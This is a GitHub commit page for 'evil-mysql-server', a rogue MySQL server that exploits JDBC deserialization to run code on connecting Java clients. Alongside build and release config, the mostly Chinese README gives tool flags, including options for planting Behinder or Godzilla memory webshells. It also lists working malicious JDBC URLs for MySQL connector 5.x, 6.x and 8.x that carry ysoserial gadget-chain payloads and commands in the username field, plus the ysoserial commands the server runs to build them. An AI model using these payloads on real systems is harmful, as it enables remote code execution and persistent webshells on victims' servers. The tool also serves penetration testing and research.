Skip to content

Commit

Permalink
init v0.0.3
Browse files Browse the repository at this point in the history
  • Loading branch information
demo committed Apr 17, 2024
0 parents commit e8a6897
Show file tree
Hide file tree
Showing 7 changed files with 492 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
*.jar filter=lfs diff=lfs merge=lfs -text
41 changes: 41 additions & 0 deletions .github/workflows/goreleaser.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
name: goreleaser

on:
push:
tags:
- '*'
workflow_dispatch:

permissions:
contents: write

jobs:
goreleaser:
runs-on: ubuntu-20.04
steps:
-
name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
submodules: recursive
-
name: Set up Go
uses: actions/setup-go@v3
with:
go-version: 1.17
-
name: Install upx
run: sudo apt install upx -y
continue-on-error: true
-
name: Run GoReleaser
uses: goreleaser/goreleaser-action@v4
with:
distribution: goreleaser
version: latest
args: release --rm-dist --skip-validate
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

8 changes: 8 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
*.zip
evil-mysql
dist/*
.DS_Store
**/.DS_Store
.DS_Store?

ysoJar/
16 changes: 16 additions & 0 deletions .goreleaser.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
builds:
- env:
- CGO_ENABLED=0
goos:
- linux
- windows
- darwin
goarch:
- arm
- arm64
- 386
- amd64
- mips
- mipsle
checksum:
name_template: "checksums.txt"
105 changes: 105 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
# evil mysql server

## 适配多个 ysoserial 工具 - 20240407


- https://github.com/frohoff/ysoserial
- https://github.com/Y4er/ysoserial
- https://github.com/qi4L/JYso
- https://github.com/su18/ysoserial

### 前缀说明
```
ysoserial: yso
su18-ysoserial: ysu
JYso: jyso
Y4er-ysoserial: y4ys
```

### 使用示例

```
ysu_CommonsCollections1_EX-Tomcatecho
y4ys_Fastjson1_CLASS:TomcatCmdEcho
```

## 增加对su18-ysu的适配

```
Usage of ./evil-mysql:
-addr string
listen addr (default "0.0.0.0:3306")
-hv string
MemoryShell binding url pattern (default "https://www.google.com/")
-java string
java bin path (default "java")
-pw string
Behinder or Godzilla password (default "p@ssw0rd")
-url string
ysuserial bin path (default "/testbin")
-yso string
ysoserial bin path (default "ysoserial-0.0.6-SNAPSHOT-all.jar")
-ysu string
ysuserial bin path (default "ysuserial-1.5-su18-all.jar")
```

**5.1.11-5.x** ysu

```shell
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=ysu_CommonsCollections1_EX-xxxx
```


## 简介

**evil-mysql-server** 是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial 。

使用方式

[ysoserial](https://github.com/frohoff/ysoserial)

```shell
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-0.0.6-SNAPSHOT-all.jar
```

启动成功后,使用 jdbc 进行连接,其中用户名称格式为 `yso_payload_command` , 连接成功后 `evil-mysql-server` 会解析用户名称,并使用如以下命令生成恶意数据返回到 jdbc 客户端。
```shell
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe
```

[ysuserial](https://github.com/su18/ysoserial) 这是一个基于原始ysoserial的增强项目。

```shell
./evil-mysql-server -addr 3306 -java java -ysuserial ysuserial-0.9-su18-all.jar
```

启动成功后,使用 jdbc 进行连接,其中用户名称格式为 `yso_payload_command` , 连接成功后 `evil-mysql-server` 会解析用户名称,并使用如以下命令生成恶意数据返回到 jdbc 客户端。
```shell
java -jar ysuserial-0.9-su18-all.jar -g CommonsCollections1 -p calc.exe
```

## JDBC url 示例

> 使用 ysuserial 时请修改username的前三个字符为 **ysu**
**5.1.11-5.x**
```shell
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
```

**6.x**
```shell
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
```

**8.x**
```shell
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
```

## 致谢

感谢以下项目,带来的启发

- [MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server)

Loading

0 comments on commit e8a6897

Please sign in to comment.